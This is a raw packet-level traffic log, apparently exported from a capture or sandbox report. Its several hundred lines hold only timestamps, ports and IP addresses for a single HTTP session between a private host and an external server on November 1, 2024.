Nov 1, 2024 03:45:26.650072098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650082111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650094986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650105000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650116920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650126934 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650126934 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650127888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650142908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650151968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650162935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650171041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650177002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650190115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650202036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650202036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650204897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650218010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650228024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650230885 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650238991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650243998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650252104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650265932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650265932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650275946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650289059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650290966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650307894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650317907 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650320053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650331974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650366068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650366068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650682926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650695086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650737047 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650851965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650862932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650872946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650885105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650897980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.650934935 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.650934935 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.652633905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.689054012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.689099073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.689111948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.689137936 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.689399958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.716728926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.716790915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.716799974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.716820955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.716849089 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.716881990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.716893911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.716901064 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.716903925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.716948986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.716955900 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.716959953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717014074 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717030048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717083931 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717117071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717129946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717139959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717153072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717173100 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717199087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717221975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717286110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717298985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717310905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717319965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717341900 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717386007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717493057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717505932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717516899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717528105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717536926 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717547894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717561960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717596054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717596054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717730045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717741966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717772007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717838049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717849016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717859983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717870951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717879057 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717881918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.717892885 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.717941046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.718024969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718085051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718095064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718154907 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.718178034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718189001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718199015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718210936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718245029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.718245029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.718321085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718331099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718339920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.718369961 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.718393087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.761603117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761617899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761646032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761672020 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.761697054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761708021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761737108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761746883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761778116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.761878014 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.761966944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761977911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.761989117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762023926 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762058020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762068033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762099028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762100935 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762139082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762149096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762176037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762226105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762227058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762236118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762252092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762263060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762279987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762301922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762353897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762388945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762401104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762413025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762428045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762456894 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762456894 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762558937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762572050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762583971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762589931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762599945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762602091 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762620926 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762691021 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762706995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762717009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762739897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762753963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762896061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762907028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762926102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762939930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762940884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762950897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.762958050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.762976885 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763004065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763024092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763032913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763056993 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763137102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763149023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763159037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763170958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763176918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763176918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763183117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763194084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763246059 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763278961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763292074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763326883 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763359070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763371944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763382912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763394117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763405085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763416052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763420105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763420105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763420105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763428926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763453960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763505936 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763612032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763725996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763739109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763750076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763760090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763772964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763782978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763822079 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763822079 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763873100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763981104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.763988018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.763994932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764005899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764017105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764027119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764038086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764049053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764053106 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764064074 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764085054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764276028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764287949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764297962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764308929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764328003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764339924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764341116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764350891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764363050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764364004 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764374018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764386892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764409065 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764410019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764410019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764698029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764731884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764748096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764760017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764770985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764777899 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764784098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764796019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764806032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764816999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764827013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764837980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.764847040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764847040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.764847040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.765000105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.765000105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.774045944 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.784996033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.785041094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.785054922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.785161972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.785172939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.785221100 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.804780006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.804802895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.804814100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.804866076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.832184076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832206011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832216024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832253933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832310915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832318068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.832318068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.832325935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832403898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.832484007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832495928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832505941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832516909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832571030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.832571030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.832596064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832674980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832686901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832698107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832714081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832746983 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.832820892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832842112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832853079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832864046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832875013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.832895041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.832895041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833074093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833086014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833105087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833106995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833117962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833123922 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833129883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833161116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833300114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833414078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833430052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833441019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833452940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833462954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833479881 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833622932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833622932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833636999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833647966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833657980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833671093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833707094 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833782911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833795071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833803892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.833837032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.833976030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.835259914 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.873699903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.873712063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.874042988 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.876967907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877021074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877032995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877078056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877095938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877106905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877115011 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877154112 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877154112 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877233028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877305984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877317905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877334118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877350092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877427101 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877460957 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877489090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877501965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877511024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877590895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877599955 CET	80	49750	185.215.113.16	192.168.2.6
